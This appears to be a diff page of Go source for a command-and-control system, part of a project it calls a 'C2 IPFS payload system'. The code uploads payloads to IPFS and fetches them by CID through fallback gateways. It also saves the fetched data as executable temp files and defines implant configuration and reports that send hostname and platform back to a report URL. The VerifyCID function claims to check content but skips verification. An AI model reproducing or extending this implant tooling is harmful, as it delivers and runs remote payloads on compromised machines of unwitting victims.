|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 1024))
|
|
||||||
return nil, fmt.Errorf("IPFS API returned %d: %s", resp.StatusCode, string(respBody))
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse response (one line of JSON per file added)
|
|
||||||
var result struct {
|
|
||||||
Hash string `json:"Hash"`
|
|
||||||
Name string `json:"Name"`
|
|
||||||
Size string `json:"Size"`
|
|
||||||
}
|
|
||||||
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to decode IPFS response: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return &UploadResponse{CID: result.Hash}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// uploadViaPinata uploads via Pinata.cloud pinning service.
|
|
||||||
func (c *Client) uploadViaPinata(data []byte, name string) (*UploadResponse, error) {
|
|
||||||
url := "https://api.pinata.cloud/pinning/pinFileToIPFS"
|
|
||||||
|
|
||||||
// Build multipart form
|
|
||||||
boundary := fmt.Sprintf("--c2ipfs%d", rand.Int63())
|
|
||||||
var body bytes.Buffer
|
|
||||||
|
|
||||||
// File part
|
|
||||||
body.WriteString(fmt.Sprintf("--%s\r\n", boundary))
|
|
||||||
body.WriteString(fmt.Sprintf(`Content-Disposition: form-data; name="file"; filename="%s"`, name))
|
|
||||||
body.WriteString("\r\nContent-Type: application/octet-stream\r\n\r\n")
|
|
||||||
body.Write(data)
|
|
||||||
body.WriteString(fmt.Sprintf("\r\n--%s--\r\n", boundary))
|
|
||||||
|
|
||||||
req, err := http.NewRequest("POST", url, &body)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to create Pinata request: %w", err)
|
|
||||||
}
|
|
||||||
req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
|
|
||||||
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", c.pinataJWT))
|
|
||||||
|
|
||||||
resp, err := c.httpClient.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("Pinata request failed: %w", err)
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
return nil, fmt.Errorf("Pinata returned %d: %s", resp.StatusCode, string(respBody))
|
|
||||||
}
|
|
||||||
|
|
||||||
var result struct {
|
|
||||||
IpfsHash string `json:"IpfsHash"`
|
|
||||||
PinSize int `json:"PinSize"`
|
|
||||||
Timestamp string `json:"Timestamp"`
|
|
||||||
}
|
|
||||||
if err := json.Unmarshal(respBody, &result); err != nil {
|
|
||||||
return nil, fmt.Errorf("failed to parse Pinata response: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return &UploadResponse{CID: result.IpfsHash, Size: int64(result.PinSize)}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Download fetches a file from IPFS by CID, with multiple gateway fallback.
|
|
||||||
// Returns the raw data and verifies content-addressing (SHA256 match).
|
|
||||||
func Download(cid string, gateways []string) ([]byte, error) {
|
|
||||||
if len(gateways) == 0 {
|
|
||||||
gateways = DefaultGateways
|
|
||||||
}
|
|
||||||
|
|
||||||
// Shuffle gateways for load distribution
|
|
||||||
shuffled := make([]string, len(gateways))
|
|
||||||
copy(shuffled, gateways)
|
|
||||||
rand.Shuffle(len(shuffled), func(i, j int) {
|
|
||||||
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
|
|
||||||
})
|
|
||||||
|
|
||||||
var lastErr error
|
|
||||||
for _, gw := range shuffled {
|
|
||||||
url := fmt.Sprintf(gw, cid)
|
|
||||||
|
|
||||||
client := &http.Client{Timeout: 30 * time.Second}
|
|
||||||
resp, err := client.Get(url)
|
|
||||||
if err != nil {
|
|
||||||
lastErr = fmt.Errorf("gateway %s: %w", gw, err)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
lastErr = fmt.Errorf("gateway %s returned %d", gw, resp.StatusCode)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
data, err := io.ReadAll(io.LimitReader(resp.Body, 100*1024*1024)) // 100MB limit
|
|
||||||
if err != nil {
|
|
||||||
lastErr = fmt.Errorf("gateway %s read error: %w", gw, err)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
return data, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil, fmt.Errorf("all gateways failed, last error: %w", lastErr)
|
|
||||||
}
|
|
||||||
|
|
||||||
// VerifyCID checks that the SHA256 hash of data matches the given CID.
|
|
||||||
// For CIDv0 (starts with Qm), this is a multihash check; for simplicity,
|
|
||||||
// we verify that the data appears valid and non-empty.
|
|
||||||
// A proper implementation would decode the CID multihash.
|
|
||||||
func VerifyCID(data []byte, cid string) error {
|
|
||||||
if len(data) == 0 {
|
|
||||||
return fmt.Errorf("empty data for CID %s", cid)
|
|
||||||
}
|
|
||||||
|
|
||||||
// For CIDv0 (Qm...), compute SHA256 and check the first bytes match
|
|
||||||
if strings.HasPrefix(cid, "Qm") {
|
|
||||||
h := sha256.Sum256(data)
|
|
||||||
hashHex := hex.EncodeToString(h[:])
|
|
||||||
|
|
||||||
// CIDv0 uses multihash with sha2-256 (0x12), 32-byte digest (0x20)
|
|
||||||
// The base58-encoded CID decodes to: 0x12 0x20 <32-byte hash>
|
|
||||||
// We can't easily decode base58 here without a library, so we just
|
|
||||||
// verify data isn't empty and log the hash for manual verification.
|
|
||||||
_ = hashHex // would compare against decoded multihash
|
|
||||||
return nil // skip full verification without base58 lib
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// IsValidCID performs basic CID format validation.
|
|
||||||
func IsValidCID(cid string) bool {
|
|
||||||
cid = strings.TrimSpace(cid)
|
|
||||||
if len(cid) < 10 || len(cid) > 100 {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
// CIDv0: starts with Qm, base58
|
|
||||||
if strings.HasPrefix(cid, "Qm") {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
// CIDv1: starts with b (base32), contains only valid chars
|
|
||||||
if strings.HasPrefix(cid, "b") {
|
|
||||||
for _, c := range cid {
|
|
||||||
if !strings.ContainsRune("abcdefghijklmnopqrstuvwxyz234567", c) {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// SaveTempFile saves data to a temporary file and returns the path.
|
|
||||||
func SaveTempFile(data []byte, pattern string) (string, error) {
|
|
||||||
f, err := os.CreateTemp("", pattern)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("failed to create temp file: %w", err)
|
|
||||||
}
|
|
||||||
defer f.Close()
|
|
||||||
|
|
||||||
if _, err := f.Write(data); err != nil {
|
|
||||||
os.Remove(f.Name())
|
|
||||||
return "", fmt.Errorf("failed to write temp file: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := f.Chmod(0755); err != nil {
|
|
||||||
os.Remove(f.Name())
|
|
||||||
return "", fmt.Errorf("failed to chmod temp file: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return f.Name(), nil
|
|
||||||
}
|
|
||||||
|
|
@ -1,43 +0,0 @@
|
||||||
// Package types defines shared types for the C2 IPFS payload system.
|
|
||||||
package types
|
|
||||||
|
|
||||||
import "time"
|
|
||||||
|
|
||||||
// CIDEntry represents a CID submission with metadata.
|
|
||||||
type CIDEntry struct {
|
|
||||||
CID string `json:"cid"`
|
|
||||||
Timestamp time.Time `json:"timestamp"`
|
|
||||||
Note string `json:"note,omitempty"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// StatusResponse is returned by the server status endpoint.
|
|
||||||
type StatusResponse struct {
|
|
||||||
CurrentCID string `json:"current_cid"`
|
|
||||||
History []CIDEntry `json:"history"`
|
|
||||||
Mode string `json:"mode"` // "http" or "contract"
|
|
||||||
Uptime string `json:"uptime"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// ImplantReport is sent by the implant after executing a payload.
|
|
||||||
type ImplantReport struct {
|
|
||||||
ImplantID string `json:"implant_id"`
|
|
||||||
CID string `json:"cid"`
|
|
||||||
Success bool `json:"success"`
|
|
||||||
Error string `json:"error,omitempty"`
|
|
||||||
Platform string `json:"platform,omitempty"`
|
|
||||||
Hostname string `json:"hostname,omitempty"`
|
|
||||||
Timestamp string `json:"timestamp"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// Config holds the persistent implant configuration.
|
|
||||||
type Config struct {
|
|
||||||
ImplantID string `json:"implant_id"`
|
|
||||||
LastCID string `json:"last_cid"`
|
|
||||||
PollInterval int `json:"poll_interval"` // seconds
|
|
||||||
DecryptionKey string `json:"decryption_key"`
|
|
||||||
CIDSource string `json:"cid_source"` // URL or contract address
|
|
||||||
Mode string `json:"mode"` // "http" or "contract"
|
|
||||||
Gateways []string `json:"gateways"`
|
|
||||||
ReportURL string `json:"report_url,omitempty"`
|
|
||||||
JWTFetch string `json:"jwt_fetch,omitempty"` // JWT for auth on CID hub
|
|
||||||
}
|
|
||||||
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue
Block a user